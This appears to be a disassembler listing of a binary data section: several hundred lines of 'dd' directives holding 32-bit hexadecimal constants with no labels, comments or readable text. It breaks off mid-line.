dd 5CDE1222h, 82316466h, 0B902337Eh, 0B33BC81Bh, 0FCEACCC9h dd 9D7FF32h, 17203AB0h, 1CC02B34h, 99CB7AD6h, 0C9BA891Ch dd 0EC117185h, 0C1957C42h, 6F8D732h, 880D2DF5h, 7065374Fh dd 845052BBh, 0A4C3A8ABh, 0A0CF459Bh, 0A571E8C3h, 6AD8B616h dd 0AF0CD108h, 0C2BF4E66h, 0FD14D5CCh, 7004739Dh, 6C0364FCh dd 6D3BA0C1h, 5C7E1205h, 0ECFDB262h, 0E7008C1Dh, 0CC942126h dd 9D18C2Fh, 8D0FA95Fh, 0BF7943E4h, 0C06B614Ch, 3CA2E8DFh dd 77CA0035h, 34841F3Eh, 870BA39Ah, 0B7C2D7DBh, 7FD785FAh dd 0FFE45680h, 71159609h, 3698C63Eh, 7966DBB5h, 55202E42h dd 49853152h, 5B25DC01h, 7FE97C5Ch, 0CD00D835h, 0B5F1D6FBh dd 95F748BFh, 0B812C512h, 0AC73D56Bh, 0AFFF0575h, 0B860DA76h dd 2FDB8F28h, 0EF37207Eh, 0EEE6D7h, 8621A87Ch, 0E952BE66h dd 5B225A4Ch, 2CAB6CD5h, 0F4AA976Fh, 194BF978h, 9F34B88Eh dd 21AA8227h, 5679B85Ch, 0EF027A7h, 0AD602D40h, 510E5D2h dd 0A40E719Dh, 24AA597h, 0B312D8E2h, 2DDBE15Fh, 2FCB85Eh dd 8D896DD7h, 13D72BC9h, 0C75E094Ch, 95723AB3h, 6F015D2Dh dd 1E5740F7h, 0E5256F4Ch, 59B8537Fh, 1C59181Ch, 96FF0E32h dd 0EC12EBA2h, 0C24B96B3h, 357E9036h, 8D086016h, 2E8BA402h dd 0E1174083h, 7200A28Eh, 85B2F8B0h, 496175EFh, 41BC5090h dd 22F0EB02h, 54CF8065h, 0CF4D2705h, 0F5F839C1h, 0ECDD257Bh dd 0AC9EA0DDh, 0AE5802CAh, 57DAE867h, 2155E382h, 415F5B02h dd 0B4507966h, 25010268h, 925F8F28h, 1F7054A2h, 70F789FDh dd 0BD8057B7h, 0B7607B39h, 0E8F84EF0h, 2CFD121Ch, 0CF585AB7h dd 0F7302D12h, 23EC4E03h, 31DC9402h, 0AB4A358Dh, 1FCB440h dd 2F9B6FE1h, 76EDBBC0h, 0F30BBF88h, 5C69F629h, 0F08ED6A5h dd 0E989AA02h, 410373ABh, 0E22A2BCBh, 5CF6D3A6h, 32B8A1A0h dd 0A6F1175Fh, 0B910162Eh, 1D9DBC7Eh, 0CBD5A5E5h, 0D65CFC84h dd 47E4EE8h, 0DE6FBFDDh, 0C0EBA801h, 0CC039320h, 9ADB00ECh dd 0E3167360h, 7B0B14B8h, 5CD98B09h, 305588E2h, 0D4647672h dd 0F4D1F300h, 9F10DD5Bh, 466527B7h, 95C1B7DCh, 0B8040911h dd 0C0D64C67h, 49F9312Ch, 0B78100A5h, 0AFCF73A7h, 89092D06h dd 0DCDF13CAh, 5E0C10C4h, 122EF1B1h, 0B854B94Eh, 938600EFh dd 97A0CDE9h, 0C625BB66h, 9455E61Ch, 3C16401Fh, 83002FA9h dd 0C7681139h, 9840BDEEh, 188F425Dh, 14486DB2h, 80614EE2h dd 0A2ED38E5h, 9D334004h, 4DBD1FDDh, 13C557CAh, 0DAEC925Fh dd 132C455h, 0FB057148h, 0F8F83FEEh, 409B387h, 57C867CEh dd 3B6125B1h, 7D53321h, 7A472D2Fh, 0B202366Ah, 29B589B0h dd 82FDFC77h, 659509DEh, 2F616269h, 0F25FAD6Eh, 71E2D2F0h dd 0B826B3C4h, 4F77A368h, 82509B1Fh, 59D6CFA4h, 0ECF90FA9h dd 70F32C00h, 0C907E688h, 32D2B3D5h, 35E294D4h, 0F51B230Eh dd 2EDA90E0h, 8790D2A2h, 0BE18D17h, 2FFF29AAh, 0C58045DAh dd 2162AFABh, 45B2B800h, 0BD299B06h, 2E1441A9h, 0BBE5AD3Ah dd 29BB388h, 6DE0AB88h, 90F5E44Ch, 0F0D2A6h, 6EB4E723h dd 0A50BDDECh, 0FD4EFB14h, 466E4AA9h, 0D579077Dh, 942EA8A3h dd 0D484CC48h, 1EC2B100h, 0D5874DF1h, 9290721h, 0A4E5E19Ch dd 0A2A9BC6Ah, 6C3D5745h, 97343F80h, 174F4ECh, 60F071ADh dd 2835BD03h, 838A5C6Dh, 0C0A9AFD8h, 3CF5B9DCh, 88EFBDFh dd 8649240Fh, 8196EE32h, 0D303F32Fh, 564DD094h, 6058BC0Fh dd 0FFB6B201h, 9CF2BF09h, 5184FA79h, 58A8870Fh, 8204EFC1h dd 80342F5Fh, 0B96016FFh, 0DAEDD252h, 0AF9813A8h, 29BBAF00h dd 2B3F882Dh, 9F0EFCBDh, 0C8B8ACA0h, 0FE9A2EBAh, 3A78C19Bh dd 70760305h, 9D31AA15h, 6A52A1A5h, 19C8EE9Ah, 0D87FDFC0h dd 4A5D2DFCh, 3C330A10h, 0D3465400h, 0E717AC41h, 20D698B8h dd 801313EDh, 3AA3B1CBh, 5218C540h, 0B75AB298h, 0E766A07Dh dd 0E4092CC1h, 54EE252Fh, 145E359Fh, 0DB2CF62Fh, 25ED1CC7h dd 1BA79E73h, 35C61269h, 76FFF1C1h, 0E630E0B4h, 0B5909DE1h dd 0CD0027C8h, 8AFFAA1Eh, 50EC7C92h, 4E50836Bh, 82889B20h dd 0E67C52FBh, 8FBF0541h, 0EB548BEDh, 4E1DC5DCh, 130E9D05h dd 0A1D22988h, 0F8771457h, 85694BB5h, 0A1F2F721h, 940E88Fh dd 0AC6E74h, 67E5E77Ah, 0AE33FF69h, 56C4881Eh, 0D37FA043h dd 5F57B1E8h, 28B60C4h, 0DBB966D7h, 0F84E61CAh, 5A2E817Eh dd 0D00B5C93h, 0FCD6E626h, 0F28805F3h, 0BE961BB8h, 8A03CC9h dd 585A3606h, 75254008h, 13DFF253h, 0A9BD3396h, 0ACB64ABBh dd 6E3016B2h, 0B26F50F0h, 0B6284EF5h, 137F0245h, 5E85F622h dd 5D056BE5h, 0B880D405h, 8468A3BFh, 2C7AABh, 421A72FCh dd 430FBBEBh, 0D29D2D84h, 7F96481Ch, 12B74917h, 971CECEEh dd 20C340FAh, 5B895C62h, 4DB0901Dh, 8F96610Ah, 51BD05DEh dd 28FA8BECh, 2725CFEFh, 0C4D4E68Ch, 2CB5A4h, 3A7BE381h dd 0E63D4A83h, 301BB2DBh, 4507390Fh, 82862C5Bh, 1A04429h dd 0D5C1FB56h, 2FDF687Bh, 0F88ADD31h, 73B2282Fh, 67DE3BE1h dd 0FB4DBD80h, 5B2E2256h, 0CA6006F3h, 0E2450B3Dh, 0D5CB00DFh dd 0A55154CDh, 63287899h, 0B1298D04h, 61099322h, 5A785C2Fh dd 13D45656h, 0D296570h, 2E49A199h, 0F380EB02h, 0E81ED77Fh dd 4A2C5522h, 2E46E17Bh, 0FA96B19Bh, 0DE3DF730h, 0B9F94A87h dd 0A36A97A3h, 155B2C09h, 0BFDA98FFh, 0E7B123Dh, 7D8F360h dd 50ADB390h, 0C0156D49h, 0C1F36F2h, 2A949700h, 0B38EABBEh dd 11B72F4Dh, 0BFAC1693h, 5C22F9Bh, 98D59B2Eh, 458D8976h dd 0C6CA8581h, 8DE0B8Eh, 45BBF980h, 3F62ABB5h, 6410695Ah dd 0DD214B4Fh, 0D6A6AD3h, 0E319C16h, 0E812794Ch, 0F0908A05h dd 8A78BCA0h, 4A369097h, 0E2FE21h, 62F7A73Bh, 0D2F32659h dd 84797270h, 8A881935h, 577F64A1h, 0C67A9B95h, 28AB8B5h dd 49ABBBE5h, 0B776C5Fh, 56B989ECh, 0D6F6EA5Ch, 788C764Fh dd 56B2A251h, 815F806Ah, 0C12487DFh, 7AFB7D7Ch, 0E9F49BF3h dd 85829E6Ch, 0E0BF6E41h, 0BD64ED6Bh, 81CE1005h, 7C09AFh dd 259D03D1h, 6B710CA9h, 0DEAFA5C4h, 0E8CAC267h, 0DE1C2006h dd 0D809E0D0h, 7A525B77h, 0F5909D0Dh, 480045D4h, 775FBF0Dh dd 90E8BDh, 0FF20C723h dd 0D17FAE60h, 0D6C56827h, 330217C2h, 0FB88EC32h, 0AF007D97h dd 80E25FC4h, 7BDCBE7h, 6CFD3894h, 0B82AE4C8h, 7348807Fh dd 9829FEh, 8B9F74DEh, 0A42CA1ACh, 10033714h, 141110FCh dd 28DD5B38h, 367EC85Bh, 6B1C0C05h, 29C585FFh, 21AA6017h dd 6AFE8A6Ah, 0A4854B73h, 0ABDAE904h, 0D010658Eh, 33204F8Eh dd 0DB51B2h, 0CC40E09h, 9F2E818Ah, 0F10A851Dh, 0B7F64B89h dd 86078588h, 0F1B6C17Bh, 29B23F29h, 0DD8A6109h, 62A5F779h dd 9A1A7D4Fh, 12D4387Eh, 0FF01AC6Bh, 0FA50CE19h, 4ACE8A2Bh dd 7DB138A6h, 0AAD44562h, 4578449h, 0B34F0259h, 5B5E5BEBh dd 1A46DCh, 0D83EC648h, 95A0A8F5h, 98BBE230h, 88CE84Eh dd 7D9D2789h, 9BEC00EBh, 827BCB9Dh, 7F135171h, 9B4047CFh dd 50469CB8h, 4A05936Bh, 8811F209h, 9027AC5Dh, 41B02528h dd 11857D36h, 0BE6070E6h, 0FD2B7732h, 0B903E1C4h, 249520BBh dd 0B20CA861h, 0B8464A18h, 198508E8h, 7125C60Fh, 0DDAC0CD6h dd 0FABCFAA4h, 54741D80h, 0B10E2DBEh, 41168B59h, 81C1BF66h dd 5144D72Bh, 0ECC0BECFh, 0C40B2280h, 5106BA44h, 0BEAA8956h dd 55038957h, 0AEBB2C48h, 32E65412h, 0D901EBF1h, 0B8040C25h dd 0BD0104E7h, 292118D5h, 1892229Dh, 0D75CD18Bh, 9F94CB1h dd 91BA4D4h, 1B1252Bh, 0BC92B02h, 5F7C06AFh, 0B694FD6Bh dd 0D273DC00h, 0A5D4CFF2h, 3193276Eh, 20B3F61h, 92CB5E5Fh dd 0CC5ABC16h, 988D513h, 0E90BC5B0h, 20014849h, 0DBB5204Bh dd 60B0A6BBh, 0CCC16018h, 0BA78CA16h, 0B8E481BCh, 0A74788CFh dd 88001FC4h, 48052C30h, 36B584Dh, 152925ABh, 0F4287759h dd 0FE4A3AA5h, 0ADD3B020h, 0F6D60B66h, 88881D1h, 78EC2F96h dd 20AA914Ah, 0E0E2FFBDh, 19093A77h, 7B164777h, 0FD2408DAh dd 66989820h, 91769F9Fh, 0F1508016h, 4C0F53EFh, 51822780h dd 0EE755F5Bh, 5881B3BCh, 85AC89A0h, 120D6D00h, 0B9DB7146h dd 0BA1BD731h, 0EEB30631h, 9B1C133Ah, 622A8FA9h, 0DE0A4E3Eh dd 1320108Eh, 81AD8509h, 14B7FC25h, 46CB9A04h, 0AF1EB505h dd 0D5008565h, 0D22B8896h, 4189980Bh, 623D2F11h, 40A2272Ah dd 15811334h, 0C49E4102h, 0F14E929Ch, 0C0DC1F81h, 214C18C9h dd 4401F902h, 8A748BC7h, 8E884379h, 5B160B19h, 86F13752h dd 24C7A6Bh, 0A28AAFA3h, 0EB807496h, 1C50165Bh, 75B51309h dd 3B6CA706h, 28A91689h, 9BC4FBCh, 0C2019D26h, 7980B789h dd 0FAA345E7h, 0D43AC07Bh, 1C8EFE26h, 8102202Dh, 586751C7h dd 57F5924Eh, 0D6E013EDh, 306AC1h, 34D9CE5Eh, 4B5999BBh dd 0DE8B4713h, 0C85F17A3h, 6000CCFAh, 0F732D8B5h, 1D81FF87h dd 53DC1D49h, 0E2D2A6E1h, 0D782800Fh, 8E57E5h, 52DB19B8h dd 2A5C84BBh, 45F373Bh, 74D8B959h, 0FFA3F2BCh, 46BD6E5Eh dd 0E2009CBCh, 177FC4CFh, 48EDB40h, 4C9AEEBBh, 0A315E862h dd 0AD6C5AE4h, 2320BD9Fh, 0BFED4B2Fh, 959D3630h, 3A1C9D28h dd 0F8637662h, 0E4754D60h, 1E32D2EAh, 0CF95020Bh, 5CE45561h dd 0A7222D21h, 71C20A4Dh, 19687565h, 0BD4C3331h, 33F592FFh dd 263AE57Fh, 2F82F1D7h, 5BE96530h, 371F88D5h, 7CAC9801h dd 0A1BC35E6h, 82452A2Eh, 0E0CD60B4h, 7B76C928h, 0FC955E4Ch dd 47F5D2E6h, 0BCDABD2Ah, 0DF530403h, 82B3F489h, 678E877Ch dd 8D568ECBh, 9549F869h, 0BBB682FAh, 38CF60DCh, 8C99A1BBh dd 1F680100h, 60544DBEh, 6EC7B651h, 0B9C88A44h, 0BDE01F40h dd 78B85496h, 3B854680h, 0B0044D10h, 0CEBA1C6Dh, 0FC0111E8h dd 0E9B2D496h, 1F342E2Eh, 0BC2BAAB0h, 699F89E9h, 92ECB0D7h dd 4A828201h, 0E45E9E1Ah, 95BE7069h, 6C86D93Dh, 4F861ADBh dd 7AC0F251h, 60024FB5h, 0AD7D5D01h, 0B6DFE031h, 322F134Fh dd 0B7FD89C5h, 137384BDh, 0EBC2FABBh, 2F65454Fh, 760289B5h dd 0F7897B94h, 8310DF31h, 0F99F7225h, 894BA07Fh, 0F5ED0068h dd 0B3C5FFABh, 849798C2h, 88AF2BB3h, 5063963Bh, 0B45569F2h dd 2BE2A6B6h, 0B6002846h, 7F73D7D2h, 0F060770Ch, 0ED5104CCh dd 0BE9E16A4h, 0ACB8DE94h, 151E8CEh, 0C93FB78h, 0E27374ABh dd 0EA9C7C07h, 0BBE0901Ch, 3409685Fh, 2102A27Ah, 0BD79CB6Ah dd 0E0DD6DDEh, 0BD22589Eh, 0C740939Eh, 5ACAC64Ch, 0E4BDBD3Ah dd 80C0DCB8h, 0BB90F5C3h, 0C8F36F1Fh, 81C050DDh, 971636F7h dd 0E04CB771h, 1E1D9D10h, 0EC536116h, 795F2DDBh, 3D9DC10Ch dd 18BB0026h, 0F25A5A3Ah, 764EC911h, 6695F67Fh, 43E925FBh dd 2DD8405Bh, 0A54D04EFh, 0FA750B8Dh, 3A2E55CDh, 1284E75Ah dd 0D987C140h, 0DD1FAB43h, 0A94147A0h, 5B793252h, 5E8355E0h dd 3F2DFh, 37490B41h, 2F2588Eh, 3F090A4Dh, 2B5EDAADh, 0B5045250h dd 87407E4Fh, 1E61893h, 0ABC76DBBh, 22F88B5Ah, 671FCD0Ah dd 0E87CDAFDh, 8280B952h, 0C1EA3B47h, 72A9364Ch, 975B1040h dd 37D7FA1Ah, 5160020h, 6F3F3B1Ah, 79F35E25h, 8D0982FCh dd 0BA570375h, 6445409Ch, 298CCDF6h, 75E62A21h, 853015B2h dd 0BD23098Ch, 0D1D63065h, 8B80DE80h, 9F515022h, 292F6980h dd 0C40DDFB8h, 56611C9Bh, 2C263021h, 6C1C7FF0h, 0F0A8395Bh dd 50481A20h, 5AD1287h, 3AB829AAh, 1BE9F420h, 731FAABh dd 0D1275C80h, 0DA3880A0h, 54B80146h, 4BD22553h, 2D5A1196h dd 937329C1h, 0F3181579h, 0C204194Fh, 13BDC794h, 0A11EB6D3h dd 0CD6E6CF1h, 81A13FFCh, 1244AFA7h, 5C85CE25h, 1A5D496Dh dd 40BC749Bh, 97144478h, 4640CC02h, 5D5B8537h, 8408115h dd 6FE882h, 0C86DE461h, 71381BFh, 90B96A4Bh, 6721FE97h dd 0B63EC283h, 1C00F532h, 985D6A0Ch, 60E512B2h, 37D4BA33h dd 61C007C1h, 0EF00AA63h, 293C96B4h, 0E400EE1Eh, 3A5C45F0h dd 9994CD0h, 0BC4AF6F1h, 3EC97978h, 1A487BFAh, 0BC024980h dd 0D7FEB886h, 8D7414E0h, 1253FEE4h, 0AB6A1A3Dh, 30F4E6Fh dd 96C32274h, 8C126047h, 0A715B6C7h, 92F75A76h, 0D40C2BB1h dd 952760ECh, 25B4F86Bh, 8FFCBD63h, 0A1446D6h, 878C0F4Bh dd 82C88549h, 555F9922h, 9097ACE4h, 759E1h, 16F884B3h dd 4676F38Ah, 0D89B965Ah, 0A230DE80h, 6AB712F4h, 5F950933h dd 0D1A524BDh, 82CAA500h, 2597BD55h, 0C4256A7Ch, 0F0A80059h dd 0F551C459h, 0D72D1F07h, 0D6599056h, 0F4E313B2h, 642CFF9Dh dd 0BE94975Fh, 250B3444h, 32595D9Dh, 37ADF893h, 2A25A4ECh dd 23F562Eh, 139D8589h, 0E9EA3F74h, 1010E109h, 0ED2C89EFh dd 81DC986Bh, 0B93ECF3Dh, 79BCCE8Fh, 6FC501AAh, 0DDB39FC4h dd 807D302Fh, 949717F7h, 8A2B447Eh, 3DDDF94Bh, 66A1D576h dd 12CD2DC6h, 36F29684h, 279760CAh, 449054F2h, 20BC494Ah dd 87DADB4Ah, 0DE102DA2h, 1A943F7h, 0BB106324h, 60B9FCFAh dd 3309C189h, 5E12B19Dh, 1A46DEEFh, 6517E65Bh, 8C88B5CCh dd 69756BBDh, 3B181855h, 0F0E100A1h, 0D87ACF98h, 0FA4B8BF1h dd 0BB0176ADh, 232F4480h, 0D0DB2E6Ah, 0B266FC0h, 225E95BDh dd 0A70B9E7Eh, 6DF805D6h, 9EC09680h, 0D1677BB5h, 2FC7D155h dd 0A1A23913h, 0DE750902h, 4C56324Fh, 709B5BA5h, 0FE00E006h dd 0D9FB8E78h, 0BD6A215Fh, 0DDE0474Dh, 0BA853FEh, 0F1C2A27Eh dd 0AAE12184h, 0B0E7BAF7h, 2FFFF5D9h, 0FC53B92Fh, 0AF2212ADh dd 25032628h, 406271BDh, 9112B557h, 9E6E811Ch, 8FC43CDBh dd 5C7B0FD9h, 11CB8D29h, 0B7A78A5Ch, 54C000D7h, 2B31AEFAh dd 0EDC2D54Eh dd 713C5E10h, 0AD020863h, 0BF29E0C9h, 0BA096FDBh, 0F62D585Fh dd 20DF09D6h, 0CABD82D7h, 2DEB5C3Ah, 309F3191h, 0D800D648h dd 309E551Dh, 5189BE2h, 0B160310Fh, 6C8CBB9Ah, 585A0161h dd 5BD2B90h, 1F9C2E2Dh, 477D02BBh, 4DE94CF9h, 48961CD7h dd 0F64E90CAh, 882F034h, 4AE227F9h, 0F5C01090h, 102FA000h dd 0E8D85BD1h, 4AC23EE5h, 582AA603h, 7182A50Eh, 8B65F35Ch dd 608EA7FCh, 29950B3Eh, 372C1CDEh, 901461C7h, 0ACBC20ABh dd 251EA273h, 30C05DBAh, 4B6D794Ch, 0E26E03F2h, 0BBCB43B9h dd 48D81CB8h, 43A45F5Fh, 95310C90h, 0B730D7Dh, 1A4D8D12h dd 6FC17FD0h, 616C2D53h, 1571E373h, 8B4B1B18h, 0DD6A04D9h dd 0B01E26CFh, 3F361B0Eh, 90094816h, 32DF31AFh, 0DF96C0A2h dd 51FF2C6Ah, 10212659h, 10934C1Fh, 61120AD9h, 0B56EE5Fh dd 9B6557FBh, 48838027h, 9A0C9EBh, 1FEFCFB3h, 0E06A5A5Ch dd 7907AD09h, 45454400h, 1707800Fh, 0B2D1E381h, 22F476Dh dd 20599D06h, 5A4E7913h, 0C9B3BC10h, 44F172D8h, 2B2F561Ch dd 4BDBDA9Dh, 0C2DA845Bh, 0D35CD90Dh, 4895949h, 0BE2FF589h dd 0E84AFD9Fh, 0AB911A9h, 0CBC1A040h, 9A574914h, 0B59F66ABh dd 789816D3h, 0D605552Eh, 4621EF99h, 0C81303ADh, 49FF104Bh dd 1298D152h, 0EA00463Dh, 0C3DEA1AEh, 2D2A0EF7h, 7390B970h dd 0A290DF8Bh, 0FF1332A3h, 7F939523h, 51A1261h, 0D8A7D214h dd 1570A1A9h, 0F400E5A6h, 4E20F059h, 239854h, 0E9D5DFCFh dd 614CD86Fh, 57D0EB09h, 442E7AD3h, 0DE0B0B05h, 0FB74385h dd 0EB236D43h, 1020482Eh, 5705D562h, 0BF81F3F9h, 56AAA6CEh dd 40CCF37Ah, 1A5A3188h, 262247F6h, 1F157BB7h, 2B22D9BDh dd 0FE2140A5h, 8928DA8Ah, 2AC47E95h, 0CAAB0919h, 128C0B56h dd 0DEEAFC0Bh, 5C9E2025h, 85294180h, 0FF4EA41h, 28EB8D96h dd 6900A415h, 0FC473DEEh, 3B048A2h, 0E3CFD71Eh, 2FC8CD83h dd 0BBD8702h, 399402F8h, 12F1572Ch, 0B9C09840h, 92094E02h dd 0B0A93909h, 76698074h, 23A20924h, 6696EC70h, 590A13DCh dd 9F6B0A3Eh, 5DD225E5h, 96EFC5Ah, 49807B1Dh, 0C1C2F877h dd 46724F75h, 0CB7EE28Ch, 0D22BA912h, 3CBFC8h, 0F0C6E29Dh dd 95796477h, 0A582D1B5h, 0C2AD0EC7h, 0E23ACD59h, 0AF60DB6Fh dd 6948DADDh, 19CD103Fh, 210B894Bh, 6A1BF570h, 0E6D29DF2h dd 38DFA017h, 0ECFD4E9Eh, 29E91221h, 18BC61E9h, 22E9048Ch dd 0BC6F7A64h, 3140AD0Fh, 4EF6ED66h, 0CB2B061h, 11FAE795h dd 74204F41h, 2F7535Bh, 0B9ADEC1Eh, 0BE59B85Fh, 8799D84h dd 4AD4B352h, 0E1FF1B81h, 954C887Ah, 8A0BAC00h, 0A0DB22D6h dd 0C1810060h, 64C31185h, 0B95F8D01h, 5C5FCED2h, 3CE50B1h dd 0D024D395h, 17042B6Bh, 1DB3B79Ch, 0BAA1AAB8h, 89E2B03h dd 4E5ABD93h, 5E9F0FB0h, 0C0CD2754h, 0A6F45635h, 1B36D600h dd 40A815DEh, 0F3F00482h, 0B81DD274h, 243CA2BAh, 0B8C8E960h dd 70C5276Ah, 0FEE91257h, 0FA8A62F8h, 2D160AF6h, 0F889CEBCh dd 801EBD57h, 40A3EDD6h, 7E25B477h, 9BBC816h, 2E4F9501h dd 388A2D40h, 947A02E3h, 16C6F00Fh, 18F8045Dh, 95B53102h dd 276DE5D5h, 3600EFE4h, 0C0EB71F6h, 98772531h, 261F0228h dd 35171AE9h, 0E5555068h, 0AE8C5B4Bh, 0E39053F5h, 0E496CC00h dd 58AF858h, 36FC3AFFh, 0C3BF50A0h, 649E3F09h, 83BDB790h dd 9C5ECE1Dh, 0DB813E00h, 3214A52Eh, 3FAD1D68h, 9AC225BEh dd 310F9EE0h, 0EB806FB9h, 79C97265h, 28BF12C0h, 7F52ABD8h dd 19523FA0h, 3C68A13Ch, 0F3352ADFh, 0CED502FEh, 0C6575792h dd 8D8913B6h, 0ACAFD4F5h, 0E7BFC09Dh, 160270A1h, 710142E9h dd 0C8EF33A2h, 6E00069Eh, 0C45B1DAEh, 2ED597Bh, 65903A1Ch dd 0B65CA009h, 0B62ACE6Dh, 359D12E7h, 0B5FF45AEh, 0ECC2EDDBh dd 26AF3F6Fh, 0F5D8C702h, 995C3A15h, 72A58868h, 1101212Ah dd 97465849h, 1C04F4Dh, 4FD6D1E5h, 35CEBCFFh, 0D6A0611Dh dd 6FD1B7FEh, 0BD6D8380h, 314C73D6h, 5B9BA332h, 0B8E63D96h dd 12705E37h, 2763B309h, 408A7E89h, 0CB0EDF68h, 0DBB0825Bh dd 32756209h, 5D61D1h, 53F520E1h, 0CA8EA37Dh, 6B1FF2Dh dd 0CDB0E317h, 4F009AD8h, 0B893273Eh, 12F0C024h, 0E32E08A1h dd 90F8123Eh, 0BFC0CAA8h, 62F517CDh, 0FB89504Fh, 3FF2DCh dd 38A766DCh, 3B931896h, 9C31902Ch, 4DFF7925h, 82A82E9Ah dd 0A7F66125h, 7758BFDCh, 32D78B07h, 5E2B8DCCh, 1A46F65Ch dd 0CB144800h, 0A41F1EE8h, 4F7E9495h, 0C5CE9E46h, 9C2A259h dd 0EF3D7F3Eh, 0F1D7118Bh, 8067A523h, 0A40D445Eh, 88844309h dd 40100ECAh, 0E40C3E92h, 7ABB096Eh, 6DF1564Ah, 29598542h dd 0D7057F0Bh, 47CF2C56h, 0B7BB25C0h, 9D130487h, 67888773h dd 94FBCB89h, 9EF59A70h, 85A027B7h, 442CBA66h, 5A56ECB5h dd 0AD83B9F8h, 9C00D637h, 97F28A5Fh, 0A66405EAh, 0A5BAB578h dd 61823B98h, 0D1960420h, 0D041F70Dh, 0EF1E3EBEh, 5795061h dd 9665A71Ah, 8DE598BAh, 0B802792Fh, 3EBD2B60h, 0AC4A32F9h dd 0E6DAA5BEh, 7563F780h, 0B9024CF0h, 71952905h, 6E94D732h dd 0D85BD1Fh, 33747B2Dh, 0AAB4A9A4h, 0DA5B9FCBh, 0FC34833Fh dd 0B0F7F319h, 0B70E7C46h, 5E5ABA5Bh, 6E9C04Dh, 0BB04C537h dd 38B7ED81h, 844AE3ACh, 0E409FE9Dh, 0EBE85608h, 0E5C64082h dd 12C49F56h, 19458740h, 1300ADEEh, 2717EC28h, 4B42962h dd 0B952A6F8h, 5823AED3h, 0D084CBF3h, 17E6578Dh, 0BCFA4E6Eh dd 0CAB15AFFh, 0C1E1DB3Eh, 303BE573h, 1920B43Ch, 46536054h dd 75007A7Bh, 2E7BA36Eh, 4F83371h, 0A00FC4DFh, 53BAC779h dd 3107058Eh, 0A67D5BBh, 27DE5B19h, 0C1D19075h, 0F1B30262h dd 0D53648C8h, 0F9E2C9F6h, 0A396040Dh, 0AAB33E94h, 0B0B4D50h dd 55FE03E5h, 0BD965F00h, 3E07C9B1h, 0D75FDF79h, 4AF4D95h dd 0BD482A35h, 800B889Ah, 857D45B3h, 0AE045FA0h, 0F70ADBFCh dd 65121EFBh, 719D8266h, 4645A5B8h, 95621217h, 8A50010Ah dd 45012BDDh, 10699531h, 0C892C422h, 0AA00EAC1h, 36D5CA83h dd 1D513318h, 0C9E4548Ah, 2C5905C9h, 81F86080h, 0BB2DC0h dd 0BF615225h, 46017E14h, 1EBB2EA4h, 0D5263189h, 0C2ABBAh dd 0C50965Ch, 9BE6012Ah, 126ADB9Ch, 30282B2Dh, 77C2E14Ch dd 11704CFBh, 0A7DE2DDDh, 5053B009h, 50D1DBA7h, 0FC091B7Ch dd 588CB136h, 4951B555h, 40576DE9h, 276EB1C8h, 0F72B0325h dd 9D236823h, 0E90891BCh, 75856BD4h, 12090004h, 0FBBBB305h dd 9FC5BA11h, 57FE95D7h, 4EDDA38Ah, 61CA0EBCh, 2BA539D8h dd 5BA76D65h, 2D6550A3h, 0CF3DA601h, 0DDCFCC9h, 9591B7ECh dd 0C2D6D20Eh, 5F051FAAh, 0F1809DECh, 0CC99D13Eh, 0ED7A8269h dd 0E039C2FBh, 80D2C45Dh, 0A011FD91h, 9C8D0167h, 0EF80861Ah dd 0F512F0DAh, 0BB440BACh, 0AA5314D9h, 23654D44h, 5CE1900Bh dd 0C9B2BFAh, 0CC061CC0h, 1A04CE01h, 6C5A7736h, 85D660BAh dd 408213C5h, 97A42825h, 4B46BF4Fh, 3EF969AEh, 12E11B82h dd 0AD609655h, 22296352h, 2BC7E2F9h, 0B5893330h, 18FFB1C5h dd 2211CED1h, 5EED1C95h, 844B9FABh, 0B2AEA4EAh, 26A09B7h dd 0F73C8829h, 7ABF5083h, 4A44BA1Eh, 0E337D53Dh, 3918E38h dd 0EDE5C1CAh, 567CD4F0h, 69089280h, 6F00312Ah, 6BF5AD30h dd 2611256h, 4275C5B1h, 5551276Ch, 6D5D3100h, 354AEE7h dd 0ABEEEFB8h, 5FC2781Eh dd 913835D7h, 0E31F8019h, 12C90613h, 0ACF4E9B5h, 0ACFFE12Fh dd 0BC77BD2Eh, 909E1FB5h, 87934959h, 76E33A55h, 512D4B9h dd 0C0B0F95Dh, 807A9C53h, 3CBF310Fh, 54978376h, 89044912h dd 4A2CFCF1h, 0F67E098Dh, 1D6FF0FBh, 0E0E54E92h, 89BD6D42h dd 521654C7h, 4D4B7F6h, 0CBEA5A4h, 28350464h, 772EF7BAh dd 0E1787E93h, 5991F389h, 31B5080Dh, 0A2601415h, 0CD5BF92Dh dd 9F580891h, 0A0D4AC5Eh, 252A4426h, 0F5402DCEh, 4427195h dd 0C29CBF02h, 0F551825h, 1FD1E4E8h, 4902D963h, 0A8B63ABBh dd 0CE105503h, 0C4AE4CBh, 8B2DC9A3h, 0B02CA54h, 0D5333D9Dh dd 0D8B7AD98h, 947E1095h, 12960092h, 36DF1AA1h, 0A517E262h dd 0FAA6A82Ch, 51DF0A5Fh, 11E90E4h, 60C82B5Fh, 61F22AB1h dd 722D0115h, 0BD29D102h, 45D50855h, 2D1508DCh, 86EB8004h dd 0F462C7A8h, 90D518EDh, 880AE9AFh, 0A8003A84h, 0E1A9265Fh dd 95B8F568h, 264B228h, 46E9CBB3h, 0FE16A7Eh, 0C0FA9769h dd 95CE9AC0h, 744C3B56h, 981E4AD9h, 228B24B6h, 0A5FEADEAh dd 6BFE1BA1h, 446850A3h, 9C82468h, 0B4511175h, 0B1DC041h dd 0F797F62Ah, 6F6A5FE2h, 5DE841E5h, 0A99D2A1Eh, 0DEB0F266h dd 0AF4A8643h, 50F107E0h, 40CD84B4h, 9D2DB932h, 0D03DDB08h dd 5A2DC534h, 1F4AC412h, 269065h, 9D339A0Ch, 248B0AE5h dd 42161178h, 0D4D9FCE1h, 2A9D7400h, 1704652Dh, 0A27ABB08h dd 8C3E0021h, 831950B6h, 0FC5B25C3h, 0C02B5802h, 4D07D546h dd 0F8645880h, 6A9BD2C5h, 6AD84ECCh, 0E7304906h, 70B44A3Bh dd 0CE4D9575h, 0C0504DA5h, 0BA37C50Bh, 0C48BD72Dh, 0CD2B001Fh dd 0D500A5Ah, 38006657h, 86FD1ACFh, 0A0DB8131h, 904ED1B0h dd 9585753Eh, 0B289C53Dh, 0ED2E8021h, 47FDF81h, 0F5220F3h dd 8DCDBE89h, 4004242Ah, 275BB653h, 0E700D7A6h, 6BBAE3F8h dd 0BFF31ACDh, 5B5B7072h, 0AA5EB8h, 83D46D38h, 129224Ch dd 0D8A9B960h, 2B611BF6h, 33041835h, 2FAB3055h, 0C1B84F0Dh dd 82680972h, 0FA510D55h, 0C2DFB045h, 6812FB96h, 681304BFh dd 